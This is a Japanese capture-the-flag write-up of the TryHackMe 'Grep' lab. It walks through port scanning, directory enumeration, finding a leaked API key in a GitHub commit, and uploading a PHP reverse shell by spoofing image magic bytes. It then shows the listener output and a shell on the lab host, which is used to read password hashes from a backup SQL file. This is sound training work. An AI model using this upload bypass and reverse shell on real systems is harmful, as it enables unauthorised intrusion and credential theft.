はじめに
本記事はTryHackMeのWriteupです。
RoomはGrep、Difficulty(難易度)はEasyです。
このRoomでは、偵察及びOSINTスキルについて学ぶことができます。
Grep
架空のスタートアップ企業であるSuperSecure Corpをハッキングします。
このタスクを解決するためには、OSINT技術を使用して公開されているソースから情報を収集し、Webアプリケーションの潜在的な脆弱性を悪用します。
まずは、ポートスキャンから行います。
ポートスキャン
ここでは事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-27 20:54 JST
Nmap scan report for 10.10.161.58
Host is up (0.27s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 42:d1:ce:4c:90:af:6c:2e:0b:99:1b:a2:43:89:9f:99 (RSA)
| 256 ba:8f:0d:8a:50:34:7b:34:85:db:0e:bb:0f:86:65:b7 (ECDSA)
|_ 256 dd:12:56:5a:89:96:c3:cd:44:ad:d5:d2:10:1d:40:29 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
443/tcp open ssl/http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
| tls-alpn:
|_ http/1.1
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=grep.thm/organizationName=SearchME/stateOrProvinceName=Some-State/countryName=US
| Not valid before: 2023-06-14T13:03:09
|_Not valid after: 2024-06-13T13:03:09
|_ssl-date: TLS randomness does not represent time
51337/tcp open http Apache httpd 2.4.41
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: ip-10-10-161-58.eu-west-1.compute.internal; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.12 seconds
Scan completed
ポートスキャンの結果を基に調査を行います。
SearchME!
上記ポートスキャンの結果を踏まえて、80番と443番ポートでWebサーバが稼働していることが分かります。
80番ポートでは特に何もなかったため、443番ポートを調べると証明書のSubject情報からgrep.thmのドメインが確認できます。hostsファイルに追記してブラウザからアクセスすると、以下の様な画面が表示されます。
Register画面にアクセスしてユーザー登録を行います。
試しに情報を入力してRegisterボタンを押すと、以下の様な「Invalid or Expired API key」のメッセージが出力されて登録できません。
上記メッセージを踏まえて、Register画面で実行されているregister.php
のコードを調査します。調べた結果、Registerボタンを押すと、JavaScriptとして読み込まれているregister.js
のregister()
関数が実行されていることが分かります。
<input type="button" value="Register" onclick="register()" class="btn btn-primary">
register.js
のregister()
関数を確認します。
function register() {
var username = document.getElementById('username').value;
var password = document.getElementById('password').value;
var email = document.getElementById('email').value;
var name = document.getElementById('name').value;
fetch('../../api/register.php', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Thm-Api-Key': 'e8d25b4208b80008a9e15c8698640e85'
},
body: JSON.stringify({
username: username,
password: password,
email: email,
name: name,
}),
})
.then(response => response.json())
.then(data => {
if (data.error) {
alert(data.error);
} else {
alert('Registration successful! Please login.');
window.location.href = 'login.php';
}
})
.catch((error) => {
console.error('Error:', error);
});
}
上記コードを確認した結果、fetch関数の引数に設定されたregister.php
に対するリクエストで指定しているX-Thm-Api-Key
が無効でした。
OSINT
パブリックなソースからAPIキーを探すにあたって、OSINTを行います。
XでSuperSecure Corpらしきアカウントを発見しましたが、APIキーに繋がる様なポストは見当たりませんでした。
また、Googleでsite:github.com
を指定してSuperSecure Corpの単語で検索しても特にヒントは見つかりません。
引き続きGitHubで調べた結果、以下の怪しいリポジトリが見つかりました。
コミット履歴を確認すると、APIキーを発見しました。
Burp Suiteを使用して、上記APIキーを用いたリクエストを発行します。ユーザー登録後にログインすると、最初のフラグが取得できます。
リバースシェル
次のフラグを取得するためには、マシンへの侵入が必要になると思われるため、gobusterを用いて列挙を行います。
$ gobuster dir -u https://grep.thm/public/html/ -w /usr/share/wordlists/dirb/common.txt -k -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://grep.thm/public/html/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 274]
/.hta (Status: 403) [Size: 274]
/.hta.php (Status: 403) [Size: 274]
/.htaccess (Status: 403) [Size: 274]
/.htpasswd (Status: 403) [Size: 274]
/.htaccess.php (Status: 403) [Size: 274]
/.htpasswd.php (Status: 403) [Size: 274]
/admin.php (Status: 403) [Size: 0]
/admin.php (Status: 403) [Size: 0]
/dashboard.php (Status: 403) [Size: 0]
/index.php (Status: 200) [Size: 1471]
/index.php (Status: 200) [Size: 1471]
/login.php (Status: 200) [Size: 1981]
/logout.php (Status: 200) [Size: 154]
/register.php (Status: 200) [Size: 2346]
/upload.php (Status: 403) [Size: 0]
Progress: 9228 / 9230 (99.98%)
===============================================================
Finished
===============================================================
上記結果を踏まえて、upload.php
にアクセスすると、以下の様なファイルアップロードの画面が表示されます。
試しにリバースシェルとして動作するphpファイルをアップロードすると、以下の様なエラーが出力されてアップロードできません。
先ほどのOSINTの結果からapiで使用しているupload.php
ファイルを確認すると、マジックバイトで判定していることが分かります。
function checkMagicBytes($fileTmpPath, $validMagicBytes) {
$fileMagicBytes = file_get_contents($fileTmpPath, false, null, 0, 4);
return in_array(bin2hex($fileMagicBytes), $validMagicBytes);
}
$allowedExtensions = ['jpg', 'jpeg', 'png', 'bmp'];
$validMagicBytes = [
'jpg' => 'ffd8ffe0',
'png' => '89504e47',
'bmp' => '424d'
];
用意したphpファイルについて、許容されている任意の画像ファイルのマジックバイトに変更することで、アップロードできます。
アップロードしたphpファイルは、api配下のuploadsディレクトリに格納されるため、リスナーを起動した状態でphpファイルにアクセスします。
リバースシェルを取得しました。
listening on [any] 4444 ...
connect to [Your IP address] from (UNKNOWN) [10.10.27.59] 47822
Linux ip-10-10-27-59 5.15.0-1038-aws #43~20.04.1-Ubuntu SMP Fri Jun 2 17:10:57 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
12:36:44 up 31 min, 0 users, load average: 0.00, 0.00, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
調査
残りのフラグを探すため、探索します。
/var/www/
配下のディレクトリを見ると、怪しいbackup
ディレクトリを発見しました。
www-data@ip-10-10-27-59:/$ ll /var/www/
total 40
drwxr-xr-x 2 ubuntu www-data 4096 Jun 14 2023 backup
-rw-r--r-- 1 root root 1131 Jun 14 2023 certificate.crt
-rw-r--r-- 1 root root 960 Jun 2 2023 certificate.csr
drwxr-xr-x 2 ubuntu www-data 4096 Jun 14 2023 default_html
drwxr-xr-x 4 ubuntu www-data 4096 Jun 7 2023 html
-rw-r--r-- 1 root root 1208 Jun 14 2023 leak_certificate.crt
-rw-r--r-- 1 root root 1001 Jun 14 2023 leak_certificate.csr
drwxr-xr-x 2 ubuntu www-data 4096 Jun 14 2023 leakchecker
-rw------- 1 root root 1874 Jun 2 2023 private.key
-rw------- 1 root root 1704 Jun 14 2023 private_unencrypted.key
backup
ディレクトリ配下を確認すると、users.sql
ファイルが確認できます。
www-data@ip-10-10-27-59:/$ ll /var/www/backup/
total 4
-rw-rw-r-- 1 ubuntu ubuntu 1888 Jun 14 2023 users.sql
users.sql
ファイルを参照すると、「admin」ユーザーのメールアドレスが確認できました。
INSERT INTO `users` (`id`, `username`, `password`, `email`, `name`, `role`) VALUES
(1, 'test', '$2y$10$dE6VAdZJCN4repNAFdsO2ePDr3StRdOhUJ1O/41XVQg91qBEBQU3G', 'test@grep.thm', 'Test User', 'user'),
(2, 'admin', '$2y$10$3V62f66VxzdTzqXF4WHJI.Mpgcaj3WxwYsh7YDPyv1xIPss4qCT9C', '******************************', 'Admin User', 'admin');
引き続き調査を行ない/var/www/leakchecker/
ディレクトリを確認しましたが、権限上見ることはできません。
www-data@ip-10-10-27-59:/$ ll /var/www/leakchecker/
total 8
-r-------- 1 ubuntu ubuntu 440 Jun 14 2023 check_email.php
-r-------- 1 ubuntu ubuntu 1243 Jun 2 2023 index.php
ポートスキャンの結果を振り返ると、51337番ポートが利用されていたため、hostsファイルを編集してアクセスすると、電子メールを入力して漏洩の可能性をチェックするアプリケーションを発見しました。
上記で取得した「admin」ユーザーのメールアドレスを入力すると、フラグが取得できます。
おわりに
OSINTの検索スキルを養うことができる面白いルームでした。